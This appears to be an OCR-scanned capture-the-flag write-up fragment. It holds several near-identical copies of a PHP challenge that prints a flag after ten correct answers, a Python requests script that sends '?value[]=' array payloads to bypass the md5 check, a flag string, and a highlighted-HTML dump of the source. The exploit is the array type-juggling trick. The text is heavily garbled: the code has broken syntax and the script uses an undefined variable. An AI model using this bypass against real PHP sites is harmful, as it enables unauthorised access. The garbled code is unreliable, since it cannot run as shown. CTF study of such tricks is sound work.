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<?php

error_reporting(0) ;
session_start():
require (" . /flag. php’ ) ;

if (!isset ($_SESSION[ nums’ 1)) {

$ SESSION nums’] = 0;
$ SESSION[ time' ] = time():
$ SESSION[ whoami’'] = ‘ea :

]
!

if($ SESSION[ time’ ]+120<time()) {

session_destroy () ;

]
!

$value = $ REQUEST[ value’ ];
$str rand = range(a’, 'z

d ;
$str rands = $str rand[mt rand(0, 25)].$str rand[mt rand(0, 25)];

if ($_SESSION[ whoami’ |==($valuel0]. $valuelll) && substr(md5($value),5,4)==0) {
$_SESSION[ nums’ ]++;
$ SESSION[’ whoami’ ] = $str rands;
echo $str_rands;

1

i

if ($§ SESSION[ nums’ 1>=10) {
echo $flag;

'r

show_source(_FILE );
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nt <?php

error_reporting(0) ;
session_start();
require(’ . /flag. php’ ) ;

if (!isset ($_SESSION[ nums’])) {

$ SESSION[ nums’] = 0;
$_SESSION[  time’] = time();
$ SESSION[ whoami’] = ’ea ;

}

if ($_SESSION[ time’ 1+120<time()) {
session_destrov():

}
$value = § REQUEST[ wvalue ];
$str rand = range('a’, 'z

$str rands = $str_rand[mt_raﬁd(0,25)].$str_rand[mt_rand(0,25)];

if ($3_SESSION[ whoami’ ]==($valuel0]. $valuel[l]) && substr(md5($value),b,4)==0){
$_SESSION[’ nums’ ]++;
$ SESSION[ whoami’] = $str rands;:
echo $str rands;

}

if ($_SESSION[ nums’ 1>=10) {
echo $flag;
}

show _source( FILE );
%
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dg <?php

error reporting(0) ;

session start();
require(’ . /flag. php ) :
if(lisset (3 SESSION[ nums 1)) {

$ SESSION[ nums’] = 0;
$ SESSION[ time' ] = time();
$ SESSION[ whoami’] = Tea ;

}

if ($_SESSION[ time’ ]+120<time()) {
session_destroy();

}
$value = $ REQUEST[ value’];
$str rand = range(’a’, 'z’);:

$str rands = $str rand[mt_rand(0, 25) 1. $str_rand[mt_rand(0, 25)];

if ($_SESSION[ whoami’ ]==($valuel[0]. Svaluel[l]) && substr (md5($value),5,4)==0)1
$_SESSION[" nums’ ]++;
$ SESSION[ whoami’] = $str_rands:
echo $str_rands;

}

if ($ SESSION[ nums’ 1>=10) {
echo $flag;

}

show_source( FILE );
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oJ {?php

error_reporting(0) ;
session_start();

require (. /flag. php’ ) ;
if(lisset (§_ SESSION[ nums’ 1)) {

$ SESSION['nums’ ] = 0;
$ SESSION[ time’] = time();
$ SESSION[ whoami’] = ’“ea ;

}

if ($§ SESSION[ time’ J+120<time()) {
session destroy () :
}

$value = $ REQUEST[ value’];

$str rand = range(’a, 'z');
$str rands = $str_rand[mt rand(0, 25)]. $str rand[mt_rand(0, 25)];

if (§ SESSION[’ whoami’ ]==($valuel0]. $valuel[l]) && substr(md5($value), 5, 4)==0) {
$_SESSION[' nums’ ]++;

$ SESSION[  whoami’] = $str_rands:
echo $str rands;

}

if ($_SESSION[’ nums’ ]>=10) {
echo $flag;

}

show_source(_ FILE ) ;
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import requests

URL = input("iEMASEZEEE: ")

(%]
I

requests.session()

for i in range(10) :
print(x)
payload = "?value[]="+x
n = s.get(URL+payload)
X = n.text[0:2]

print(n.text)
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1qflag{bdeb®blf dc68-4ae0-9. 8243739 e248}<code><span style="color: #000000">
0101 Woa00s! osp;<br />error Peportlng(/span}(span style="color: #807700">(</span><span style="color: #8008BB">0</span>
color: #007700">);<br /></span><span style="color: #0800eBB">session start</span><span style="color: #00770@">();<br />require(</span
><span style="color: #DDeeee">’./flag.php’</span><span style="color #007700 ">);<br />if(lisset(</span><span style="color: #8@0eBB">$ SESSION</sp
an><span style olor: #997799 ">[</span><span style: olor #DDOOOO > nums ‘' </span><span style: olor #997799">])){<br />&nbsp,&nbsp,</span><span
@">]&nb5p,—&nb5p,</5pan><5pan style="color: #000OBE >0</5pan><span style="color: #0@7700">;<br />&nb5p,&nb5p,</5pan><5pan style-
$ SESSION</span><span style="color: #007700">[</span><span style="color: #DD0@@0">'time"</span><span style="color: #007700">]&nbsp;-8&nbsp;</span>
<span style="color: #08@00BB">time</span><span style="color: #007700">();<br />&nbsp;&nbsp;</span><span style="color: #00@0BB">$ SESSION</span><sp
an style="color: #887700">[</span><span style="color: #DD@@ee"> whoami’</span><span style="color: #007700">]&nbsp;=&nbsp;</span><span styl
r: #DDeeee">"ea’</span><span style="color: #0807700">;<br />}<br /><br />if(</span><span style="color: #0000BB">$ SESSION</span><span style:
: #007700">[</span><span style="color: #DDeeoo" 'tlme </span><5pan style="color: #007700">]+</span><span style="color: #008@BB">12@</span><span s
tyle="color: #007760">&1t;</span><span styl olor: #80OOBB">time</span><span style="color: #007700">()){<br />&nbsp;&nbsp;</span><span style="c
olor: #06000BB">session_destroy</span><span style="color: #807700">();<br />}<br /><br /></span><span style="color: #800eBB">$valuelnbsp;</span><s
pan style="color: #807700">=&nbsp;</span><span style="color: #0000BB">$ REQUEST</span><span style="color: #007700">[</span><span style="color: #D
DBee8"> ‘value'</span><span style="color: #007700">];<br /></span><span style="color: #0000BB">$str_rand&nbsp;</span><span style="col #007700">
=&nbsp;</span><span style="color: #@000BB">range</span><span style="color: #007700">(</span><span style-"color: #DDeeee">'a'</span><span style="c
olor: #067700">,&nbsp;</span><span style="color: #DD@eee">"z'</span><span style="color: #007700">);<br /></span><span styl
_rands&nbsp;</span><span style="color: #067700">=&nbsp;</span><span style="color: #0@@eBB">$str rand</span><span styl
span style="color: #0@@eBB">mt_rand</span><span style="color: #087700">(</span><span style="color: #00@0BB">@</span><span style="color:
»</span><span style="color: #0060BB >25</span><span styl olor: #007700">)].</span><span style="color: #0000BB $5tr7rand</span><span
lor: #0667700" >[</span><span style="color: #00@0BB">mt_rand</span><span style="color: #997799">(</5pan><5pan styl
style="color: #007700">,</span><span style="color: #0@@0BB">25</span><span style:

@OOBB">$_SESSION</span><span style="color: #807700">[</span><span style="color: #DDOOOQ >"whoami* </5pan><5pan style:

span style="color: #0000BB">$value</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #087708">]
.</span><span style="color: #00@0BB">$value</span><span style="color: #007700">[</span><span style="color: #0000BB">1</span><span style-"color: #

©07700"> ] )&nbsp; &amp; &amp; &nbsp; </span><span style="color: #0000BB">substr</span><span style="color: #0807700">(</span><span style="color: #00088B
“>md5</span><span style="color: #007760" >(</span><span style="color: #8008BB">$value</span><span style="color: #087708">),</span><span style="col

or: #000eBB">5</span><span style="color: #@07700">,</span><span styls olor: #800OBB">4</span><span style="color: #007700">)==</span><span style
="color: #eeeeBB">e</span><span style="color: #007700">){<br />&nbsp;&nbsp;</span><span style="color: #0000BB">$ SESSIOMc/span><span style="color
1 #007700">[</span><span style="color: #DDB60O">"nums’</span><span style="color: #007700">]++;<br />&nbsp,&nbsp,</span><span style="
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